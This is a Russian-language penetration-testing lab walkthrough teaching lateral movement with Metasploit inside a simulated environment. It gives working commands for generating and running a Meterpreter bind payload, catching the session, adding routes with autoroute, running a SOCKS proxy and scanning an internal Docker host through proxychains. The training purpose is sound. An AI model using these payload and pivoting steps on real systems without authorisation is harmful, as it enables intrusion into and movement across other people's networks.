Введение
Горизонтальное перемещение (lateral movement) — это критически важный этап тестирования на проникновение, на котором злоумышленник использует скомпрометированную систему для доступа к другим узлам в той же внутренней сети. Часто такие внутренние сети изолированы и недоступны напрямую извне.
Важный концептуальный момент заключается в том, что компрометация — это не только захват первого узла. Первый узел часто важен тем, какие сети, маршруты и доверительные отношения он «видит» дальше.
В этой лабораторной работе вы научитесь выполнять горизонтальное перемещение с помощью фреймворка Metasploit. Вы сымитируете получение первичного доступа к узлу с двумя сетевыми интерфейсами, используете функцию Metasploit autoroute для организации пивотинга (pivot) через сессию Meterpreter и настроите SOCKS-прокси, чтобы позволить внешним инструментам взаимодействовать со скрытой внутренней сетью.
Идентификация внутренних подсетей (arp/ipconfig)
На этом этапе мы сымитируем получение первичного доступа к скомпрометированному серверу. Для этого мы создадим локальный полезный код (payload), выполним его и перехватим соединение с помощью Metasploit для установления сессии Meterpreter. После подключения мы проанализируем сетевые интерфейсы, чтобы выявить изолированные внутренние подсети.
Сначала убедитесь, что вы находитесь в директории проекта, и используйте msfvenom для создания исполняемого файла Linux. Этот payload откроет порт для прослушивания на целевой машине (которой в нашей симуляции является локальная машина).
cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin
Если вы впервые используете Metasploit в текущей лабораторной среде, перед генерацией payload вы можете увидеть запрос на начальную настройку. Когда вас спросят, хотите ли вы настроить новую базу данных, ответьте yes и дождитесь завершения настройки.
Затем сделайте файл исполняемым и запустите его в фоновом режиме.
chmod +x payload.bin
./payload.bin &
Теперь запустите консоль Metasploit в тихом режиме (без приветственного баннера), используя флаг -q.
msfconsole -q
Внутри консоли Metasploit настройте multi-handler для подключения к только что запущенному payload.
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
Вы должны увидеть вывод, указывающий на то, что сессия Meterpreter была открыта.
[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)
Имея активную сессию Meterpreter, вы можете изучить конфигурацию сети скомпрометированного узла. Используйте команду ipconfig для вывода списка всех сетевых интерфейсов.
Перечисление интерфейсов и маршрутов — это сетевой эквивалент локального перечисления привилегий. Вам нужно знать, к чему узел имеет доступ, прежде чем вы сможете использовать его в качестве точки пивотинга.
meterpreter > ipconfig
Изучите вывод в поисках различных подсетей. В этой среде вы обычно увидите основную сеть VM на eth0 и подсеть моста Docker, например 172.17.0.0/16, на docker0. Это те маршруты, которые Meterpreter часто может обнаружить и использовать для пивотинга автоматически. Вы также можете проверить ARP-кэш, чтобы увидеть, общался ли узел с соседними устройствами.
meterpreter > arp
Оставьте эту сессию Meterpreter открытой, так как мы будем использовать ее на следующем этапе для настройки маршрутизации.
Добавление Autoroute через Meterpreter
На этом этапе мы настроим Metasploit для маршрутизации трафика через нашу активную сессию Meterpreter. В этой лабораторной среде модуль autoroute может проанализировать таблицу маршрутизации скомпрометированного узла и автоматически добавить обнаруженные подсети. Этот процесс называется пивотингом, и он позволяет нам атаковать сети, доступные со скомпрометированного узла.
Autoroute ценен тем, что делает фреймворк «осведомленным» о сессиях. Как только маршруты добавлены, Metasploit может автоматически выбирать скомпрометированный узел в качестве пути к этим скрытым подсетям.
Сначала переведите текущую сессию Meterpreter в фоновый режим, чтобы вернуться к основной командной строке Metasploit.
meterpreter > background
Вы увидите сообщение, подтверждающее, что сессия 1 переведена в фоновый режим. Теперь загрузите пост-эксплуатационный модуль autoroute.
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
Настройте модуль, указав ID сессии, через которую нужно маршрутизировать трафик, а затем запустите его. В этой среде модуль автоматически просканирует таблицу маршрутизации узла и добавит найденные подсети.
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run
Вы должны увидеть вывод, указывающий на то, что один или несколько маршрутов были добавлены из таблицы маршрутизации узла. Типичный результат в этой среде выглядит так:
[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed
Чтобы убедиться, что маршрут был правильно зарегистрирован в Metasploit, вы можете вывести активную таблицу маршрутизации.
msf6 post(multi/manage/autoroute) > route print
В выводе будут отображены подсети, сопоставленные с сессией 1. Любой модуль Metasploit, запущенный против IP-адреса в одном из этих диапазонов, теперь будет автоматически туннелироваться через скомпрометированный узел.
Настройка SOCKS-прокси в Metasploit
Хотя функция autoroute отлично подходит для встроенных модулей Metasploit, она не маршрутизирует трафик для внешних инструментов командной строки (таких как curl или nmap). Чтобы добиться этого, нам нужно запустить SOCKS-прокси сервер внутри Metasploit.
На этом этапе мы запустим SOCKS-прокси и настроим инструмент proxychains для его использования.
Находясь в консоли Metasploit, загрузите вспомогательный модуль SOCKS-прокси.
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
Настройте прокси для прослушивания на локальном адресе обратной связи (127.0.0.1) на порту 1080. Мы будем использовать версию SOCKS 4a.
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
Запустите прокси-сервер как фоновую задачу, используя флаг -j.
msf6 auxiliary(server/socks_proxy) > run -j
Вы увидите сообщение, подтверждающее, что SOCKS-прокси работает в фоновом режиме.
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
Оставьте консоль Metasploit запущенной. Откройте новую вкладку терминала в вашей среде LabEx, чтобы настроить proxychains.
В новом терминале откройте файл конфигурации proxychains с помощью текстового редактора nano с правами sudo.
sudo nano /etc/proxychains4.conf
Прокрутите файл до самого низа. Вы найдете раздел [ProxyList]. По умолчанию там может быть запись вроде socks4 127.0.0.1 9050. Измените эту строку (или добавьте новую), чтобы она соответствовала порту, который мы настроили в Metasploit:
socks4 127.0.0.1 1080
Сохраните файл, нажав Ctrl+O, нажмите Enter для подтверждения, а затем выйдите из nano, нажав Ctrl+X.
Сканирование внутренней сети через пивот
На этом заключительном этапе мы будем использовать как autoroute Metasploit, так и SOCKS-прокси для взаимодействия с сетью моста Docker. Docker может назначать немного другой IP-адрес при каждом запуске контейнера, поэтому в настройках реальный целевой IP-адрес был сохранен в файле ~/project/internal_target_ip.txt.
Во втором терминале вы можете в любой момент узнать целевой IP-адрес с помощью команды:
cat ~/project/internal_target_ip.txt
Сначала давайте используем встроенный модуль Metasploit для сканирования цели. Вернитесь в первую вкладку терминала, где запущена консоль Metasploit.
Загрузите модуль сканера TCP-портов и настройте его на сканирование порта 80 на внутренней цели.
msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run
Поскольку мы настроили autoroute на этапе 2, Metasploit знает, что нужно отправлять это сканирование через сессию 1. Вы должны увидеть вывод, указывающий на то, что порт 80 открыт.
[+] 172.17.0.2: - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Теперь давайте протестируем наш SOCKS-прокси. Переключитесь обратно во вторую вкладку терминала.
Мы будем использовать команду curl для получения веб-страницы с внутренней цели. Добавив proxychains перед нашей командой, мы принудительно направляем трафик через SOCKS-прокси (который маршрутизирует его через Metasploit, а в конечном итоге — через нашу сессию Meterpreter).
proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title
Вы должны увидеть логи соединения proxychains, за которыми последует HTML-заголовок (title) веб-страницы Nginx по умолчанию, размещенной на внутренней цели.
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:80 ... OK
<title>Welcome to nginx!</title>
Поздравляем! Вы успешно выполнили пивотинг через скомпрометированный узел для взаимодействия с изолированной внутренней сетью, используя как встроенные модули Metasploit, так и внешние инструменты.
Резюме
В этой лабораторной работе вы изучили мощные возможности горизонтального перемещения (lateral movement) в фреймворке Metasploit. Вы начали с создания полезного кода и установления сессии Meterpreter для имитации скомпрометированного узла. Затем вы идентифицировали изолированную внутреннюю подсеть и использовали модуль autoroute в Metasploit для направления трафика через вашу сессию. Наконец, вы настроили SOCKS-прокси и использовали proxychains для туннелирования внешних инструментов командной строки во внутреннюю сеть. Эти методы являются фундаментальными для навигации в сложных сетевых средах во время тестирования на проникновение.



